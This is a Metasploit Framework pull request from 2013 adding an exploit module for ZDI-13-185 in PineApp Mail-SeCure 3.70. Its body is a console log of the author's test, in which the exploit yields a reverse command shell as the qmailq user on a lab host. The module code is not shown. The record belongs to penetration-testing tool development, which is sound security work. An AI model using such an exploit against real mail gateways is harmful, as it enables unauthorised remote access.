rapid7/metasploit-framework — pull request #2166 by jvazquez-r7 (2013-07-27 17:12:55+00:00)
Title: Add module for ZDI-13-185

Tested successfully with PineApp Mail-SeCure 3.70

test result:

```
msf exploit(pineapp_ldapsyncnow_exec) > check
[*] The target appears to be vulnerable.
msf exploit(pineapp_ldapsyncnow_exec) > exploit

[*] Started reverse double handler
[*] 192.168.24.24:7443 - Executing payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo JCuVOpG73Ahh9sXy;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "sh: line 2: Connected: command not found\r\nsh: line 3: Escape: command not found\r\nJCuVOpG73Ahh9sXy\r\n"
id
[*] Matching...
[*] B is input...
[*] Command shell session 4 opened (192.168.24.21:4444 -> 192.168.24.24:57674) at 2013-07-27 12:10:56 -0500

uid=1005(qmailq) gid=102(qmail) groups=102(qmail)
^C
Abort session 4? [y/N] y

[*] 192.168.24.24 - Command shell session 4 closed. Reason: User exit

```